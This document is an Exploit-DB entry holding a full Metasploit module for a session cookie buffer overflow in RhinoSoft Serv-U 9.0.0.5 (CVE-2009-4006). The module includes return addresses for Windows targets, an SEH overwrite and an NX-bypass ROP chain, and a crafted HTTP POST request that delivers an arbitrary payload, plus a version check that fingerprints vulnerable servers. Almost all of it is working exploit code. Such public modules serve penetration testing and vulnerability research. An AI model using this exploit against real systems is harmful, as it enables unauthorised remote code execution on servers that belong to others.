标题: RhinoSoft Serv-U FTP Server - Session Cookie Buffer Overflow (Metasploit) EDB-ID: 16775 CVE: 2009-4006 类型: REMOTE 平台: WINDOWS 发布日期: 2010-03-10 漏洞利用脚本: ##
# $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
    Sending a specially crafted POST request with an overly long session cookie
    string, an attacker may be able to execute arbitrary code.
   },
   'Author'         =>
    [
     'Nikolas Rangos <nikolaos[at]rangos.de>',
     'M.Yanagishita <megumi1990[at]gmail.com>',
     'jduck'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 8762 $',
   'References'     =>
    [
     [ 'CVE', '2009-4006' ], # unsure
     [ 'OSVDB', '59772' ],
     [ 'URL', 'http://rangos.de/ServU-ADV.txt' ],
     [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",
     'StackAdjustment' => -4096,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2003 SP2 English (NX)',
      {
       'FixESP' => 0x0fb02849,  # add esp, 0x40c / ret   @libeay32
       'FixESI' => 0x78a31e96,  # pop esi / ret   @mfc90u.dll
       'FixEBP' => 0x78a4ae99,  # push esp / pop ebp / ret 0xc  @mfc90u.dll
       'Ret'  => 0x78a3e987,  # ret 0x20   @mfc90u.dll
       'DisableNX' => 0x7c83f547, # NX Disable   @ntdll.dll
       'JmpESP' => 0x78b2c753 # jmp esp   @mfc90u.dll
      }
     ],

     [ 'Windows 2000 SP4 and XP SP3 English (SEH)',
      {
       'Ret' => 0x0fb870bd  # pop pop ret   @libeay32.dll
      }
     ],
    ],

   'DefaultTarget'  => 1,
   'DisclosureDate' => 'Nov 1 2009'))

   register_options( [ Opt::RPORT(80) ], self.class )

 end

 def check
  connect
  sock.put("\r\n\r\n") # works
  res = sock.get(-1,3)
  disconnect

  if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
   return Exploit::CheckCode::Vulnerable
  elsif (res =~ /Server: Serv-U/)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  # hit end of stack..
  sploit = Rex::Text.rand_text(1000) * 75

  if (target.name =~ /NX/)

   # new SEH handler (point esp into buffer)
   sploit[41000,4] = [target['FixESP']].pack('V')

   # stack frame to bypass NX
   sploit[52+0,4] = [target['FixESI']].pack('V')
   sploit[52+4,4] = [0x10200].pack('V')
   sploit[52+8,4] = [target['FixEBP']].pack('V')
   sploit[52+12,4] = [target['Ret']].pack('V')
   sploit[52+16,4] = [target['JmpESP']].pack('V')
   sploit[52+20,4] = [target['DisableNX']].pack('V')
   sploit[52+24,2] = "\xeb\x20"
   sploit[52+40,payload.encoded.length] = payload.encoded

  else

   seh = generate_seh_record(target.ret)
   sploit[40996,seh.length] = seh
   sploit[41004,payload.encoded.length] = payload.encoded

  end

  req =  "POST / HTTP/1.1\r\n"
  req << "Host: #{rhost}:#{rport}\r\n"
  req << "Cookie: Session=_"
  req << sploit.unpack('H*')[0]
  req << "\r\n"
  req << "\r\n";

  connect
  print_status("Trying target #{target.name}..." % target['Ret'])
  sock.put(req)

  select(nil, nil, nil, 1.5)
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16775